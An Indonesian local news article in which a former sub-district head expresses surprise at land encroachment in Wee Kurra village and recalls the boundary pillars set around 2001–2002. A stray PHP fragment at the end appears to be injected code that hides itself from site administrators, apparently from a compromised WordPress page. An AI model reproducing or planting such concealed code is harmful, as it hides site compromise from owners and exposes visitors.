Pemerintahan

Mantan Camat Wewewa Selatan Alex Samba Kodi Heran di Tahun 2025 Terjadi Penyerobotan di Lahan Warga Wee Kurra

×

Mantan Camat Wewewa Selatan Alex Samba Kodi Heran di Tahun 2025 Terjadi Penyerobotan di Lahan Warga Wee Kurra

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Mantan Camat Wewewa Selatan, Alexander Samba Kodi, SH mengaku heran atas aksi penyerobotan dan perusakan lahan milik warga Desa Wee Kurra, Kecamatan Wewewa Barat.

Alex yang saat ini adalah anggota DPRD SBD dari Fraksi Partai Nasdem pernah menjabat Camat Wewewa Selatan pada periode 2000-2003 di era kepemimpinan Bupati Sumba Barat, Thimotius Langgar, SH.

Dirinya juga adalah salah satu saksi sejarah penetapan tapal batas antara Kecamatan Wewewa Selatan (Desa Weri Lolo) dan Kecamatan Wewewa Barat (Desa Wee Kombaka) yang dicanangkan dengan penanaman pilar batas.

“Pada tahun 2001 atau 2002 itu memang ada pembahasan tapal batas beberapa kecamatan yaitu Kodi Bangedo, Kodi Utara, Wewewa Selatan, dan Wewewa Barat,” kisahnya, wKamis (21/08/2025) saat ditemui di Ruang Fraksi Partai Nasdem DPRD SBD.

Kala itu, kata dia, Kabupaten SBD belum berdiri sendiri dan juga Desa Wee Kurra belum terbentuk, masih menyatu sebagai bagian dari wilayah Desa Wee Kombaka.

Penetapan tapal batas saat itu melibatkan pula pihak Kantor Pertanahan Kabupaten Sumba Barat, termasuk Bagian Tatapem dan Bagian Pemdes Setda Kabupaten Sumba Barat.

“Titik-titik yang disepakati itu sudah ditanamkan pilar yang beratnya hampir 500 kg dan butuh banyak tenaga manusia saat mau dibenamkan ke dalam tanah,” tuturnya lagi.

Sejak saat itu tidak pernah ada kisruh apa pun terkait lahan di sekitar area yang sudah ditandai dengan pilar batas tersebut.

Ia mengaku tidak habis pikir jika saat ini berkembang lagi persoalan hak kepemilikan lewat aksi penyerobotan lahan dan perusakan serta penjarahan tanaman warga Wee Kurra.

Sementara’ selama puluhan tahun sejak ditetapkannya tapal batas, tidak pernah ada riak, apalagi ribut terkait dengan masalah kepemilikan lahan di wilayah Desa Wee Kurra.

“Jika sekarang misalnya ada masyarakat yang ribut tentang masalah kepemilikan, saya pikir sudah sangat keliru,” tandas Alexander.

“Kala itu saat kita sudah bersepakat tentang masalah perbatasan wilayah dan hak kepemilikan tidak ada yang keberatan atau protes, karena sama-sama mufakat,” tambahnya.

Saat ini, sambungnya lagi, banyak di antara para tokoh yang terlibat dalam penetapan tapal batas tersebut sudah lanjut usia, bahkan ada pula yang telah tiada.

Namun demikian, dokumen penetapan tapal batas ini sudah diarsipkan Pemerintah Kabupaten Sumba Barat saat itu, termasuk Kantor Pertanahan Sumba Barat yang terlibat dalam urusan tersebut.

“Sesuai yang saya ikuti di Bagian Tatapem atau Bagian Pemdes, Setda Kabupaten Sumba Barat maupun di Pertanahan pasti ada dokumen itu,” timpalnya. ( TIM/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>